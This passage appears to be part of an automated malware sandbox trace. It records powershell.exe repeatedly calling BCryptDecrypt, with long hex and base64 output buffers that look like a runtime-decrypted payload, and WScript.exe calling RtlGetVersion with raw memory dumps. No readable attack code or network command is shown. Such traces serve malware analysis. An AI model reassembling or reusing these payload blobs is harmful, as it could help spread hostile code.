"b874e8e0d54979daf4cd115b0adc3d0a5a488034a925a3b85c6b8635d2cd6d68a9b4c9a14d94851cfc6a0586aa541aae6c14ab5ed995254b92ea53687542336c13447524326b4eb0235a6a9ad15882a4c5ae5e38d4e954d5262902609ba908462db1ac94a89e442d3ae1cbcb6cb96a4d2d5a937d4eabcd11ae5180d8396d0e32435b6fa4b5599c814d56eb4948500e12d3c4a8bc6f37ac44645f6b4c3973a268438dd519a0c9785565a9e58a7468ea2eb4caea055227565679c29c5a4dbcdad675409921ea5f0f627a4573060805bb06e5e59d6940d4a0416abc913762b0a9bba226b4506edb0e767bad58526dc0e7b6e5a25a539ea67d1db8eee46bc5e75f3ef6f5b9d7cfd5ae34e2e98e7a956992857598de685515f533ebe55e3ccd3006a98206e622d311d0c594041d0d30c396dbb5c39d9ee2d9b95aa3a444a55d88c569c469d72c91abaa33ce86e44748260a74363881a6a30c6b604d5228762d5a6229e58d699614168e969cfce9de91604d134b9a8042db78f3e3726a0ba9a63c9cfa09ae9f3fa4e9bd0d5c744929ca6f24248711add59a6363a4a9a34dcaf25734d70638ebf4f2f1f93b10aeda09b372085b9254499aaaa9abc52ae04431a8a8dcae6ec46d74f4c734eaacf6eaf4f2f5f4c3c9f2f5a2689a04cc22a69563b4c956b9d7a93d2d9b40810a72870687abe94740b9db1b696e10da8355b690cbe5cbca4eb6f6cb1484215ba912149292312d500407d36b6fb4ca452df5098b2a5973b652a270e55a2e6956816aa936b3947468b8cb14398d11d24cb2996dc1a09bb0631b52fd94681536b388654a72be773ea9285965ae1d3462055bb4cd52f66d9e08d16d819e0c74a73dcedf3387cfd3cfcb681b348b9d4258142d0094d927a6eb135ce4ca28695aacec07318ea9d39eb99c95e288d4802a219e59a62ad579333baa8cd702e5ead2e3198b2f9b66dcfcec7a1b79146a9bcf2c58340d9892042d6f0270ca9417336c434988d40e8b34512a2934ea8a696304d81071e7b74cb2e5b1a2d160ed63b5ac7070d7380141351b4b1d5011aec9d746b80c7475169597472b4e4c551a85b96a7969ae2f15e782f3c37955e595553974e8e74a564d71f4e7bd335a6b1c432a76d67cfcba2a913919ab41d4c05013405500b0da14dd50e739a2f654506dbcf8d8f50b2dc8a74380c680629913606348e0a058465220a05320e0a04081a2a113704fa8054b4e82c6c70b554c883a4299b5bf9fd06aa7abd8cb9bcb34c6f1bc1402e601b089937d0a829d3138d3d1c5cecb609a8e4cb1245550090b73616990eda5b927233455221d1a8cca953726ce9513bb4cb2e5d0e18d42669695b56321da09696aad8d46f8e9e82d0a6cab3c12caa5299cb6ad1caa89deb57ce9a01ed3dcd2724ce9835a9b04babd1c9cbe6eb6b6c73a1ce78b373628334d29ca"} "powershell.exe" called "BCryptDecrypt" with parameters {"$dataout": "80da5aa826d4c1a93a0b0b0ebe5d9aea4f3d111d1e976e4f3fcfdd1566bc20677915aa960049e954f2b3129bc00408b1b5b521b79c8d16e544b2a2d3b542024d0dda4678a6dc8c5b9a738467bbe95bcb346dae9dc6b95e22024b6a466dad84d3464ac80d5f423a74cdd8b4d2c32d0e1ca9ad5e7b01229ee6e953e6b6962834f40100dad953961c70f686345b8d4cd69b857534dd2796290a89b6b345e4acf482a68c429a8743b0a411343d0e0e9a55411244142cf0dcd10a9214b4d1ab4cb165d1a6e7a7ae02d90dba466cab6f4663036e73e6f8dcda7330df4e87537c791cdaacad7a048e3676eb8ccb4dad00ef4c7769cb871eb9a63891493a96e2d19ea8167b8ceaaea4669b494f5dbb73e5839996f28b6d91a889153a15479f4f7e3e565d0bdb97263bf636e7cf998f1e97bcc89d8ef51aa4bc2f1c75ceb711e5989d1797b9eae1f0dc7dcedb1e6c6899b4d0f53baf0dc61a9c7373d57350040060dd2b5b7456b7052c552d5c6410831cd89942229e211389d26752ee8cf3aaa9a4aa7342b55ed0f51717c37c9cabe762bcee0d5335c131b187513cb0f767aa2a29b5ebcf6e5b51c6cf61696de8bcf3052bd9974e5bcef4c56df39664d3aa5116dd33d759e1cf6b0500853235a2b352a754e58d68280dcd002b2113409d366e48495a41408382804d3dc665a40a49b534029d0e82808543d779e79a04df51a1c639d6002743b6a22d941406d026404e7af8fa171a365f5e9f3634045566159a1335642c9598d666adb1a6b5a838e7d730b506026042ba1a619e2b34d9329105d1d33c31a808507520363553a473d1d39f046ba87b59cecf76951e79d23bcd116406023d4aded659a62b7ad762d1f221530a34f392e2b4698af2df639cd3aadc2d1a192746a1a9bd3d537aec7344d290b0c70fa7ae4b8ab8a325acd5b63933dd736236b0e95052762349972a9b7de3537866d8e3a1702aa258e2a809ad352314b05cb712fa4846ba920ba085ab4cf4bcf263ab59b7a73372ca4303f6cb3e71e6bcdec42ab13e926a7246c2690be78ada7537aa266748aa34544a8cf37a7a793d1f579d9f9bab89c9e965aac82508aa14b4d34c26fa1d5c7cacef165a9ad718109853dc09ac7888cd97bf171f1dbd56fcb831db9f96cc59c54e6f550b5a811cbd3980ccc84b9635bba39f438f3fcdbedd33c29e746a235cc69ac55354c4a62c80ed231ad63689d0d0635cd31aa1014f700319aa68ea49288207925269bcb46f9f419e6b97acf498242a01eccfabd41d9c039ef7e2e3e5ae6bc8a688b82dd1ae996098b42e344ed976e67698628d131ad316e594b20dd3a39567a80a84d42096d4aa6ada14e008eea69a5a29918f7998b2ceb0282d90543a1ebbcb2c6ada842adf79618d60c420e04088268409a215b510238d02ab100e058415831ca5569a87d679a744cdc6"} "powershell.exe" called "BCryptDecrypt" with parameters {"$dataout": "004dfa1eae4e761d18b2db32bd6b301ac62336a95034c72cacf4285c5d14691b4fd33dd71cbc3a0b49042879a6e957abaeccf9df06b944074e744de855af5e71e7ec721416e52e5cb4270298abc979b42958de585be9d465cf629a1a78b5e63bc5316b1d05040a006e9a1685964c4d8d4004e996211c0369ce69358d4aa32c28280c04287020a05b2c541b2f2c71a8840b150e07574e7e646ddcd797979ee828150a18e40aa0b0639d979678d332bb08102c3763dcf72ccf5de269af3a4cd5938a7cdd38e9e99f2b2de6990cdb13ca4b154ac81a74e99ab295009d4b3a8a635033743318126ca292f3272b5502209aa4da5689d9806e32a239899d2e85e5cdcb7368e36d63d0b5ea47574cd69e67a71f1634223346da432852701f363af3e29a7146a9759ad063015cd3d56e5a6a2f224c1e80521f2308685d5809aab3b4fd3172b19d1cd982c64e5af24ceba2f3736d79a32bcf20cba49fa467cf51060a80071a628d57099a16dad2e6f7547476c159568d2366d3d3e9e76dcc95ab4c9b399081d215ae2e467c4e3dbce73742b5a5e3a677606892eea74e98e7cb7e9be724724d874ce91649aac81a74c31ad08bd2e375e3c45d669ae685d67215a73be973f3ebd64dcdefbc571d0e1806678f30cb4de0f559a3560963a7234b51a74ab1c55cfc7795a163a46871aa18563a35cee67444324c7694344da29a86696835d5561a61cd2ba5ae1830dd33a2d57b7be2c89f978eb530da11d0a33a1d1cbf4aebe0f9af07767cb7218234d6611561e93b393215c2e7e84dcaa2f5cf4745edcc32d6b5c8a50f182eb6dcc3cfdd1c266e220c9809c1be6f36bcf990234d48b9e8eb8f4b3e8e5e5b61bc5379c692e549db28013aa51b01b2f2140068acf3ce8c129546a26238d5850f6b8cc9a9d3aa15362389d85b56d50ac2c40a9b50a9bb720aa0534c7209db05380f7092e92b06d4aa6a836e99648d0466e62749d05b084b1f4f0ee7540a0e36d59f4a6b2cef26b35b9e9edcbc3c3b62beb5e7cd9a5029c521ae5736659085a592650d664f2d6088d909501d211beb30a59e2a0a862862a617a5d0c5985380241cdaab1d83d52d53e75ea1a75d6db27619a612abcb98a544280070795cba6b40b25e289d4c4d292f35b4d9743b1ea57ba758aa9cf44062c8744bc8d4ec29a25020c2c6656eb96844286b0d5a640acdac79d908d49352649444d2a9943812344b58189f45a1fae39b1d8c7aee3a1ae7d4df98669953763033e77aab2d9d18eabc555779ae57375843e9f472f0796fa1dbc58b94f2de6fabcc7d85a236b3ab7d414270f13d1af3ca9c72c0cee4442e1b476fa38f9c9f370e8aadb52bceb6cae12f12a4b8dad4c29c512a31bab33acb979d4799b4490aa8e9352a66a2de663af26ad793cfe5b50b6541661e777a636a5ce3d2bcbd9cedf33cef8ba2bb8c"} "powershell.exe" called "BCryptDecrypt" with parameters {"$dataout": "e8fab2ce4392390e43779a1109533f96356fd92f2393d8def2ad91945a24ec5a1caf0bc6e438bf4562cf1c2c5148ad9c8f2fbb4391ec7a13273b58acc68f586de188488a3c3e3a5b25e28b8e871a12c514562b3588ab2516bdf48c6cae2f63ead61d0961e52b2506bde1a3c6e86f4793c7f48f8e8f2691e0fec84b651328646547310e2a4f67915310dea8497642191afa33d67c4acf3782fd1e5f1f074338eac44e114acf14f8b3cbe4e5e87da8ac389658baf1635584e86b09d119347f2e86ca62f64e096f095e53a272b2c8f4f4462d8d3c2f26b0975acd0b43d8fa2563b5efa68f7d624649435b3cea22492b1bbcc1263386af3c9d561a8d6b3c756377fad7e515d14a8857dc71d147f1b3f8a5975594af15fd7a46bef4a2845575ae8a545f4a2933cb0a90962c52a39d3253e4cba2cb1b13c50b0df44c5ecf0f894913f07f6d0dabd12558a12fa49a96f12af85262196cf1c97d1c84fad8ac68f98566f17987938a1c9dde1944589964a449b632cf1c54bd92cbc5979828d6cae88f1f9b6797cca4b45e1115638a8c77d6b162744a7cc78429707a252e5871fea525d1e1bff455ec43c2744a4e5eca1cdd51091632448f0c58a2ec9793e1263647deca445ab39a19380cbc7cc362c3d09de2bef5f0cf8b1a72d9e7f2af4722f0deb167fe98e14b0bad0c8a4fd8e359824d61d1c9f6a12cf26d50876ce3ac27432cabe90f1d93f1a88cf0f928f24b9324ab295f5b22d5ecbaf44a5cbbc75b273e4cf83cac2e9e3f3382272e4ef1438d118f2eac5d9fe6f34355951b388e3843ca8de51e39689cf67f26ac9795d8a37bef1ed185e5a1b5d22ad8f596cb62eadd8cfa379b2ca28686a854c7a1335588a55651433542a13d9e392e3a20ddecf2c20b68feb468d12a2b312ad8e34345561768cb8bb24ef7967236c8c55108f224a8f584867ca111112d9c77b19c0f5d2faac2eb62c5ec957c13253b2f1292f82c4a34b3671d594fdf5da2ad58b0c784589d61e796ab0991988651e2b44e748e5b390b45978bd1199cecf261095e1e131a1886ed178ad5e13a1ff912a253e421e6297dc2d0db915d390a45e6ca28be97d5126be623172ca95629f58c537b29593e2bd0a744fc9c850b56213a3d8ab11d17daf17da53d50f17d131bde12b1f5726f3cb542c51eba57e33828e13ac38f74f88dd89e23763f133f8dd58b45f4b78f1ab27e0fec4938b1bc7175de88e99376cbc43d9e5851584fabfc9fbfc1f58a6f162673d66c89e1f2f163ff0021127794aca28a2b3432b2b2b0b0ca63788cab108d9e4f0d6c7fd963894c5a3868f4299c8ffd2178ce348714d1fc649517d7c75f4784f378b24b8ec6c5ecbff4264ebe75b1caf1ac59cdd509d1778f83765f468712b158685ec9d37a1e38fd1116256389195129123d6ce43c296284e854c9aec908e3b1c5a13ed2"} "powershell.exe" called "BCryptDecrypt" with parameters {"$dataout": "6^"} "powershell.exe" called "BCryptDecrypt" with parameters {"$dataout": "2580516cb96684d9e022f09ff688b53398407b357068c69e9e62be2be1796aa9d2555cb1e6b13fdc952b4b0f98cb3b355b54a56e100590e228579968a461af2f0f712b52b7d9c4d2f196402ee9ff00675b05e23f06da3c4798f818cb7c02faa96bf95e4af299cb9fd94a28a859f181c218fa996e0b9f6cb0a722aaef4949e9d65ccc72ea268375e515d8ebda918dd8545c64bf129626bec06ed96addf5f52d3487c97e5ec2e061b7195328db8723695d256b716b72c5c05629f52d345ddf987f7c2d444afa491f306b2302954b9e7e2c2dfc4f53e5a1a3e92a9c468517caa0a1b5d97d7e2a4a059c35cdbf8b7add2e2aeafc657dc19d6a2d45f6aebdccf87678df855e7e3cc47befe19b092f623ff9aa09cc009bb0245d6c2e92bdcac013ff0095b9e56f25a9e07898428f1f3f2b90af43bd8bad1679858e9c7202f5af84cbd47907a98fefc3785e03e0ec19a03b1bc758442440ddcb73bf51f03ad78cefbf3198496aaf5f8a59791fc8c4755ced60ca8ff23cd434ca7ee79950d9b8ba7b9d4b5d04e40514d9e6f5f05b38b9e65e3956dcb52a6105e586cb526610d0f30401cec5b8c68d6d763343c4bf09734e078a0814573fea35058fdc0aa35b378db3835dc567ab9e9d0af47989b414c39baaf1b97065eeca8aee2d89378f392e22a95bea54547c200c8d2a1aebdc03a46d3dcfcdf204d3481841d6c1b05dca94c6d1e0c0b4f98c1a15b1c7eff6696fcc3974750b805ed3ed8d0637f7288c2a21d1df116b76335dbd9869f2cfba04566915def93245ac2195fd97f094dd0762339d28945280d39f72e18def12dd0cbd8ab063392c3469bebdc346003c4ec4194b5aec142e9ed80ad0bf877cdca86ecd67d43e2502ff00c4b963a5d6c737810dbe6354941be6ce2137c2efd44d5459fb0276a44ed18552b3fdc4a8e766f65ec374451d315fecc656c7a4720d5cfa80e4d80087b4ba3f94612c286fc54e45703206da0cbd10daf1b3d4bdf151e12ae11a2feca2396406b0bb5de9ee119d2225750a3eaa24b2d87802b4bec7f620daf60f80fa96a0abaef635c2663c1b1cae9e10013573d601f83f04dbc2c22ba2f911c484782007c31a0df44d84715352eead504a62d5e4e4bd83b716006fccb839f71d66d92f5017ea018c06e79076316a29c3fd88697479801bbd016b86a3f61f6db7e1e258ad491a58308e1e20e51ff8427aaa69199b307d8ecf1e9b8c6c3e98081c9aecb1a2e2c83a38ae4bd9f4fd41594f88c96c5be7652f9003d5b106079f330821bf288950b776a78d92831c5e4a1a788ed00f9a5d0f0ec5ae2036f1f19d9e3a04803bc195d9770e111a6e109728eff94498a6bcc7c6b67b2e2c5987995201f07c2b194c2b50d9ed64b6f650713aa7a8dfa2fee530a86c785ca8f77ff21bff00e49097671e5cc1da88dfdaa255e51e623953d4be76"} "powershell.exe" called "BCryptDecrypt" with parameters {"$dataout": "887ff88ae81e2f60e54276929740ee8635fa85236cef8a8ad55617a4bca1d175135f72e142fad9728841b85b23f823b6b6fd88e35606f8ae5ce5f5e655d4d0de277015e20077d4704bf26ef5712d028bfec7f79e275b4c82bb69d61adfc0b83ccab097b69676f02d528555f7e1f2f8bcc8100dfa81f097e117268c65f365aca7d88e406b05f30297134871c613455d644566a39de2733502ac3c905d90f26b2faf02affec65aaa15430dd7606dac12e30b6d8e49cf827328279f7325c2de43590d9b3e897b52fe45bddf071f501c4b9428bb968fe5a400eaaf6a6cbfe84b8154ff0061ed5dd75dfa841567cfd4fb882b6df1bc87bb9deb096ddc84b94fd905ece1f71becb41a7b82f46c411293e03d361692b60ee632336e406300ab8803a9702e0b65f929f8b221d965a928391c2d669dbf3d54dcadc823b18195c1b18f1906fa84616af308b84b123046dbbe622e8b3a8983773516e5d41214f0b654fba974e45056c6fa7a8f6a5031b55873e028e5b94c6363d28c0cc2d54a798e757b8af2ec8566b7dc4af312fcee476bba813139f09ff856972d88515c78f87ff30f2f3e18ca3a51f500dc3c3fc25303791f30989f33930edb70a1464c35fe2798e6c98bc679e0997e3ee2f654ddcbbcf8bed00fbbf7004ed283dcb45425e95f7f90b469be094854cb7df996a68b6af8c4fdd4b2d79f1e623a0f70a095ca8edf32f6e7246d8e1ea31b92c618ada8099f70ec71cdf0a840b01e62f8c928bbe6bd4453e98dcb5e7c4b240fb257c069a1ee31fb323df04bfc19f63d47189be79834ade971b0f8b9b83d88bd38c2d5654be8ba5bafb88aa4d8562b7dc6af4cac53be610783517e23202e1c9e3b35a0db2fea1f52af5f8859cc9bef91aaf0377b1a39072a0f0ac7904160e10595956969f908423c370b103c1d81372d79c0f51d744b7920dd2c820f64bb7ac322852b9e4f13c5cbf0bafe5411a42afdca80012eaee1770a4555f226b01a482e43e227a984a910051bb7dc04f9fb9b1052b3ccef20a7a8814e32bef21860dda8b134c0788754e439ad41518cda07e46608d82a930ce134b8b8d14f012dc2747d4b747954d9828817fd41aef7b52e282feb123cef3e02f4c31b17fb1c23f7373e65d7c2cfbca1412886fccb1c979c8b91d6360dc398067d2fb4762260497c7016ecfbb2793fc1186fc4f5c7a733d4f2df6a8bee52e1587626bef905db36e3b2d721b85b50ab83d202a740a08a67bd99c17c0f998b5f77d4aa2c91576d97eb4bac457d4bfde91629d42b047954e211a5f328b51ba9ddf625ef17af21528a9681440ab6eb63467611325e568a73b1fb967553931ea41c9d5be193641fecd23523ca56c001b0a88b7d456af3d2519ec1f786d56997504258dbd83608ca3217c072579947143c18a1a6a54560b6e5d85ecfb84d0d5789f412a5f24aa4"} "powershell.exe" called "BCryptDecrypt" with parameters {"$dataout": "90c5d9705a9c9b2d2f2e6388c836053907b5b03ca3dcbf92f5ee7b29e9b1ee585f2307441f32e840be1e2775f8f8ad1b3dd54b5ddc4f396d2f600c35a87d5a95968f27c8140dae582b930e7e675843db43ea589becf7146caff22605406d97038efb9a28c0a977a3d4266feca58b57c5b8d3a02077d31900405f1286dc2e47cbe0a0200513cb72adde2001079bb1cf6953992aeef705c1845ef62dca90611b4b66c10451e74d22075b8c9bc41d2fb34a218177f62d9505535ab4e4a00fd51dc0793ca2350a8374690ad4c4803b72f533caf84142d63160ff0091e0a7ec150152f1b9da2c10a5c3e25913d2b3a0309e41d8f894f8a87ee9e0763d7663d45b20336bafc34b562dbea276e4c09ba8e55e65e014f52e9a4f30909c45dc17a2ad1ee39475aaeb0afa442a2b086dc32e6e900751883ccc75b6467b4497652eb08982c58a2e9b9bed0a63f17935c65a6166c497afc8fd6782089e9bf8332257958768bcac501e7c264617390065ce4b1b78f503c478709db8cb624b58a75f2442a5d5db2d0d632b3bb0843307a5c296dec487625b68adb0596c7340534f8951e2816cf2d50ab1899f729aaf128bd82d5283f50b6ca7f67899525fdce33e0d786588550f0c46d703e594e8fb42246c96ba755706aa855ab251e4b4a4cb2c80d72752be5a207162855e46cb48bb3f7e15e79f3385ca37cc60d81a1e4c0669f688a4b6af6205b9d9458583a7fe06cfc695b3254f2256c71fc94be5524060d970f0088ffd53cfc60bfe729ee5d65c66ded54defc290bf2f8c166787e075edf03895d8de4b1e66c2d883b38c57fcf8beae9f1505a26bfd21f715daafc2dc0528257fd9c94af53c5911652a7580a256f5c4f3e645dd41ad33a1bf04e8ff00d43e31647d7894822eba67989fb2d753cc1de40b7d7c298e0ddd226af2edb017e130fd86faf2260ef88e541b664a687995840f43b1a8352ed80238340fe2269a74fb7dc29b0d6641b5ea2301355afa8129ea33a60322876bc40b6ac22decad5a30f88e8962ee7221d8345f982fff004b94a8b226005c2d2a4f70630c226f811ee3175292676e448473ad9696eea59fb6268f0e7da5c469fb155e53fc65a9bf5290b587981f705d6e2dca81a1589d177eceb5b653436f37c97e2191e6b5301ea230b03903026fb8452365b2c6ec5660a266eb2859cd955a727820a56545aa145c31c97b9ea10643dca5c50e454f89d2a67552a4e614977100ab4707621e6699ff00aea62eaf99f6c2e6628c3b88288e53cc02b4bfdd88a9ee7dc0d56c761479896a3e239251abb2f644b4ba2015d4bd4b676c122951b987c5c579901883c78fb9a4bfec8164bb9138d88d0c8a526fa97f4ee4ae83ba982db505f92cd69a7ec565db785858ef2655ed20a11dd839f7cc31d50fb63d8a5e1516aeefc4bc3da25a34ff00fe9093edc1a8"} "powershell.exe" called "BCryptDecrypt" with parameters {"$dataout": "yN3VNRzFMVUJWVG5MY0lrAEszMXFkbHVNS0pKQnZkbDJqeTNmAE13UDJJa3VNTnAxMVprV1hZQ0VjAEN1S2xRVXVNSFhIVkV2QkdRN090AHp5cnNwMHVNQWppTVJVc1ROSlJkAG4zaFk5SHVNWWh0eUtXS05ua1FLAFVWNE5mYXVNcDVvSTJtbEZOVVFoAHFUbkJVR3VNYlN4YzZzRHVMOURNAE0yZ3JWb3VNbnBUU2pMUG92NzRUAEVycm9yRGV0ZWN"} "powershell.exe" called "BCryptDecrypt" with parameters {"$dataout": "3RgBxSG91dk91cDBSZklxSEJaZFV1SgB1OW5hWk51cHo1MVZGT2x2QU1EWgBUYXJnZXRUeXBlAFVwU2xhbWxRU0gAZTdLbG1lcldLbQB4cVpMQUh1YmNIMUJlTHlONjNKdgBnZXRfQWxpYXMAc2V0X0FsaWFzAGFsaWFzAHFmMmw0ZFMzWlkAVEk2WGRJdWJqeTkyY3N5NXZBNksAenlKd1VtdWJ1dkJ4RTh0cnR2Y3cAQjVwYzAwdWJYVGkwZDd3OUw"} "powershell.exe" called "BCryptDecrypt" with parameters {"$dataout": "VZDxBdIdRXPJi9v+87sv1oJQSOS1iJcXww1wjZi790bJJkwDeXGXFzQyDAekHj+kxj1IK5oYhcS0+1Yp0yNcuSoA3RpxAkdMe0nwgD0qCbjhHv5+hLvznEyJfi12W5Bu6ZKjeUB9xngyG8BB7h4g8LKDcbxGZf6GexxxvRpdnTZjQrrgPpe9sVKy5iytwlmqUtiEY5dKU5bu4UTbj+nKSEtJsMQ58D4A8l3WZnalrM4JCgQSRfSi7js84yU801kgefyn"} "powershell.exe" called "BCryptDecrypt" with parameters {"$dataout": "rnB65oUh+e6nWm5LbQ94Q27yaSP3dKBMraGpjSYj8O2LnMUYqanNXCS4gvkSvrXV7neHEtZnA8R/4lC16VEJKmLeY5RlN4GUTM1iyR4Sd48MN1ICm7laZ/dMTsuLGdWmOPMHfOFvAxaz/PYxow4x0NoXT6tllEFV5YTQr0RQu71pDiual47yzc+p/8noglaX0qJ6crYdogWsxutAutmy56TAPaHriVI4jlIHjCke5FyQZiI69kfg1aeGVEU3rpOAxp6m"} "powershell.exe" called "BCryptDecrypt" with parameters {"$dataout": "zMrNWKBhuDyUyVMEd/2/JFy4daIJHLorL15RH/MSH9gHAFxv2iSSvwLSO4Bp9L/Fq1jtVg8auO95+AXGYF1qYXB8lmJHJkIszQ/DIksZ8Ip5x3LuwGzvFL4zIWDYmVt64NaYrv77AtQFLXmjIZ6xW67rYRhqnPnB4l9AS6T2Y6jLA3GQo9USNt1IDmbaHVYCyWjrAsVohwbx9mZ8m1oGXm0oDecH6jmlnwWtSQO+btoSYcBEJhGp7qoxv3Svi7g7EiMf"} "powershell.exe" called "BCryptDecrypt" with parameters {"$dataout": "yWagrZLoUSfOTahZkODKloNuGq8IoljYVXRy/3F92vy0zQk/lDxCIiIPXAPJrkOsxd2LFS3yptZLog8iVfUq9qDrGVIdivLMCIu/DMncas6KUMJSevdeyl7IPG+U6KvgHyGEY7hfiPyQEQdDqNtSfJ8VsRJlCAg8Kz/pl7Tdj2xhMRsL/0Cls5sH6rvg9xxKGsMf0sxYLUj4fiLuHY07zxmAFkdzjqa52ecOTjo3J0fwkeVr/Wa777YcPv1y7aXQ2ymP"} "powershell.exe" called "BCryptDecrypt" with parameters {"$dataout": "oleWEXds1hFGrdZQoZ3/SeCqb349ngTr8L9+p3qw4YGthLtVI+beYazfhMsbrvwJaR1kAJhb0GL8WOlLlP8AMDQqe1GO3yrCEfrNmBSxZLYehJH0YLXqfB7qK6MaeFBRfCZVGjMSdK63G0vvDftmE8h09f6Clmi0xwOMfd9ZzcnvpNDMG2/EL4ghKyBl2HInUXJaB8yVIk1ngMab/p2lBeoWoqvHhtTEdVMLpk3ZTn3z7ABaM2zBLb/lqTIKH+bimFky"} "powershell.exe" called "BCryptDecrypt" with parameters {"$dataout": "DIDDEY+Gt/OK+UIZlTmqQMJ5xYhd2frGnrgihWNUnOsB64IsG08KuAASTIE/pumoBYoPrrPWf+SIPVPPp8rCVD+15Sq5l8RzwayQQtU5Oh/CWe60CwiPJAWLteUxHq1IJzUlED9RRqFr0xoqf42ux4ODDaId7loizxv7yxPgXlGEaHTHjpRwG0qv/4wFveelc0dJtFadr8iuVo8HGu3ldNrMwJARWXRdaXi3flZ++QwBuDF9ZA5KoWOxxQOHvW9nmwOs"} "powershell.exe" called "BCryptDecrypt" with parameters {"$dataout": "C/cfq2dh8/jGAfPK4zr83FlSmTSkTPO8SByQ9dFhEgoyuxKY9RIVJ2jth6EN2RbPSzbQqUh1auSipIhuWN6DCkFgOU3lKdULoORX/3MJTmTERHMnK4cRzhvEYxCcm9RPXMOySEI1s7b87BQvPchSbX6L6em+kSAkoGY+49XiN6QxqNgqeeWGDYR55cY+nBZNwc7F3J6ii/WJ0gg+QHa5mp47JWWR+6ZC4G+/u2JZJCI8LoaIfNgSbvA7buxQXnHr5O9G"}29:T2c53,"WScript.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800497fdfe070000a8c40a00000000000100000000000000602c0c00000000000000000000000000010000000000000003000000000000000000000000000000800010800000000000000000000000000b6391fdfe070000000005000000000001000080000000000000000000000000602c0c000000000000000000 (UID: 00000000-00003604) "WScript.exe" called "RtlGetVersion" with parameter 140100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000000000000000000000c8f4fe070000688909000000000068e1290000000000000000000000000000000000000000000001c8f4fe0700000002000000000000808b0900000000000000000000000000b088090000000000300bc6fdfe07000080f6c8f4fe070000c058c9f4fe070000d85fc9f4fe070000ee819b7700000000808b0900000000002e00310038003800000037005f006e0080f6c8f4fe070000300bc6fdfe070000a2430000660066000100310031003200c058c9f4fe0700000000000000000000430054004c003300000000000000000079e978f4fe07000000000000 (UID: 00000000-00003604) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000004a0004000000e080050000000000207e5d0000000000f07c0500000000003000000000000000ec7e050000000000508305000000000080005e0000000000c803a97700000000b0025e0000000000a0105e00000000000000050000000000c803a97700000000000000000000000040000000000000000000050000000000c803a977000000000000000000000000100100000000000000005d00000000000001000000000000000100000000000088035d000000000048dd9c77000000000000000000000000000000000000000000000000000000007010c8f4fe070000e087c9f4 (UID: 00000000-00003604) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000098c8290000000000c803a97700000000000000000000000040000000000000000000050000000000582c70f4fe0700003000000000000000b80205000000000048dd9c7700000000000000000200000030000000000000001e008600c4000000e0800500000000000000000000000000b0025e0000000000a0105e00000000000000000000000000060000000000000000e0fdffff0700006c006c0000006c000000050000000000c803a977000000000000000000000000100100000000000000005d00000000000001000000000000000100000000000088035d00 (UID: 00000000-00003604) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000067f4fe0700003000000000000000b80205000000000048dd9c7700000000000000000200000030000000000000000d00ca00cc000000e0800500000000004000000000000000b0025e0000000000a0105e00000000000000000000000000060000000000000000e0fdffff07000040080000000000000000000000000000c803a977000000000000000000000000100100000000000000005d00000000000001000000000000000100000000000088035d000000000048dd9c770000000000000000000000000001000000000000170068000500000070045e000000000000000000 (UID: 00000000-00003604) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000ce00cc000000e08005000000000060825d0000000000000000000000000000000000000000000000000000000000000000000000000080005e00000000000000000000000000b0025e0000000000a0105e000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c803a977000000000000000000000000100100000000000000005d00000000000001000000000000000100000000000088035d000000000048dd9c77000000000000000000000000000000000000000000000000000000007010a3f4fe07000000c9a4f4 (UID: 00000000-00003604) "WScript.exe" called "RtlGetVersion" with parameter 140100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003604) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000660499cc9904cccc9904ffcc990400ff990433ff990466cc990499ff9904ccff9904ffff99040000cc04330099046600cc049900cc04cc00cc04003399043333cc046633cc049933cc04cc33cc04ff33cc040066cc043366cc04666699049966cc04cc66cc04ff6699040099cc043399cc046699cc049999cc04cc99cc04ff99cc0400cccc0433cccc0466cccc0499cccc04cccccc04ffcccc0400ffcc0433ffcc0466ff990499ffcc04ccffcc04ffffcc043300cc046600ff049900ff040033cc043333ff04c894897700000000cc33ff04ff33ff040066ff043366ff046666cc04 (UID: 00000000-00003604) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003604) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000000000000000000100000000000000000000000000000021ef909ccd810000570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003604) "WScript.exe" called "RtlGetVersion" with parameter 140100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000000000000000000000000000000060e0c6030000000010ebf603000000000000050000000000e88c9c7700000000000000000000000040e0c50300000000f82400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001010000000000000000000000000000f824000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003604) "WScript.exe" called "RtlGetVersion" with parameter 